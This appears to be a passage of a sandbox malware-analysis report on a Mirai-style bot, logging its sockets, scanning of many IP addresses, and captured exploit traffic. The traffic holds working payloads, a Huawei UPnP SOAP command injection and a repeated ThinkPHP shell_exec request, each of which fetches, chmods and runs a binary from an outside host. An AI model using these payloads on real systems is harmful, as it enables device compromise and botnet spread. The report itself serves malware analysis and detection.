61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/mpsl.elf (PID: 5449)	Socket: 127.0.0.1:23455	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	Socket: 0.0.0.0:0	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	Socket: 0.0.0.0:23	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	Socket: 0.0.0.0:53413	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	Socket: 0.0.0.0:80	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	Socket: 0.0.0.0:52869	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	Socket: 0.0.0.0:37215	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5462)	Socket: 0.0.0.0:0	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5462)	Socket: 0.0.0.0:23	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5462)	Socket: 0.0.0.0:53413	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5462)	Socket: 0.0.0.0:80	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5462)	Socket: 0.0.0.0:52869	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5462)	Socket: 0.0.0.0:37215	Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 112.168.82.214
Source: unknown	TCP traffic detected without corresponding DNS query: 112.124.55.55
Source: unknown	TCP traffic detected without corresponding DNS query: 112.191.113.245
Source: unknown	TCP traffic detected without corresponding DNS query: 112.94.111.49
Source: unknown	TCP traffic detected without corresponding DNS query: 112.173.4.193
Source: unknown	TCP traffic detected without corresponding DNS query: 112.75.195.217
Source: unknown	TCP traffic detected without corresponding DNS query: 112.114.189.188
Source: unknown	TCP traffic detected without corresponding DNS query: 112.55.59.52
Source: unknown	TCP traffic detected without corresponding DNS query: 112.248.206.112
Source: unknown	TCP traffic detected without corresponding DNS query: 112.67.32.40
Source: unknown	TCP traffic detected without corresponding DNS query: 112.93.31.83
Source: unknown	TCP traffic detected without corresponding DNS query: 112.28.151.176
Source: unknown	TCP traffic detected without corresponding DNS query: 112.41.67.178
Source: unknown	TCP traffic detected without corresponding DNS query: 112.69.153.183
Source: unknown	TCP traffic detected without corresponding DNS query: 112.98.141.139
Source: unknown	TCP traffic detected without corresponding DNS query: 112.193.166.37
Source: unknown	TCP traffic detected without corresponding DNS query: 112.62.83.91
Source: unknown	TCP traffic detected without corresponding DNS query: 112.175.25.182
Source: unknown	TCP traffic detected without corresponding DNS query: 112.67.20.84
Source: unknown	TCP traffic detected without corresponding DNS query: 112.186.239.83
Source: unknown	TCP traffic detected without corresponding DNS query: 112.252.115.111
Source: unknown	TCP traffic detected without corresponding DNS query: 112.176.196.97
Source: unknown	TCP traffic detected without corresponding DNS query: 112.100.240.7
Source: unknown	TCP traffic detected without corresponding DNS query: 112.238.165.30
Source: unknown	TCP traffic detected without corresponding DNS query: 112.181.184.188
Source: unknown	TCP traffic detected without corresponding DNS query: 112.211.168.134
Source: unknown	TCP traffic detected without corresponding DNS query: 112.150.63.186
Source: unknown	TCP traffic detected without corresponding DNS query: 112.194.77.192
Source: unknown	TCP traffic detected without corresponding DNS query: 112.76.6.67
Source: unknown	TCP traffic detected without corresponding DNS query: 112.73.239.49
Source: unknown	TCP traffic detected without corresponding DNS query: 112.51.225.43
Source: unknown	TCP traffic detected without corresponding DNS query: 112.11.65.56
Source: unknown	TCP traffic detected without corresponding DNS query: 112.66.83.94
Source: unknown	TCP traffic detected without corresponding DNS query: 112.188.188.56
Source: unknown	TCP traffic detected without corresponding DNS query: 112.22.40.180
Source: unknown	TCP traffic detected without corresponding DNS query: 112.83.57.35
Source: unknown	TCP traffic detected without corresponding DNS query: 112.12.26.230
Source: unknown	TCP traffic detected without corresponding DNS query: 112.70.136.137
Source: unknown	TCP traffic detected without corresponding DNS query: 112.212.25.130
Source: unknown	TCP traffic detected without corresponding DNS query: 112.45.181.192
Source: unknown	TCP traffic detected without corresponding DNS query: 112.187.192.161
Source: unknown	TCP traffic detected without corresponding DNS query: 112.76.35.167
Source: unknown	TCP traffic detected without corresponding DNS query: 112.137.4.185
Source: unknown	TCP traffic detected without corresponding DNS query: 112.166.151.222
Source: unknown	TCP traffic detected without corresponding DNS query: 112.254.39.209
Source: unknown	TCP traffic detected without corresponding DNS query: 112.24.183.150
Source: unknown	TCP traffic detected without corresponding DNS query: 112.80.82.213
Source: unknown	TCP traffic detected without corresponding DNS query: 112.87.119.220
Source: unknown	TCP traffic detected without corresponding DNS query: 112.136.93.211
Source: unknown	TCP traffic detected without corresponding DNS query: 112.255.235.27

Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
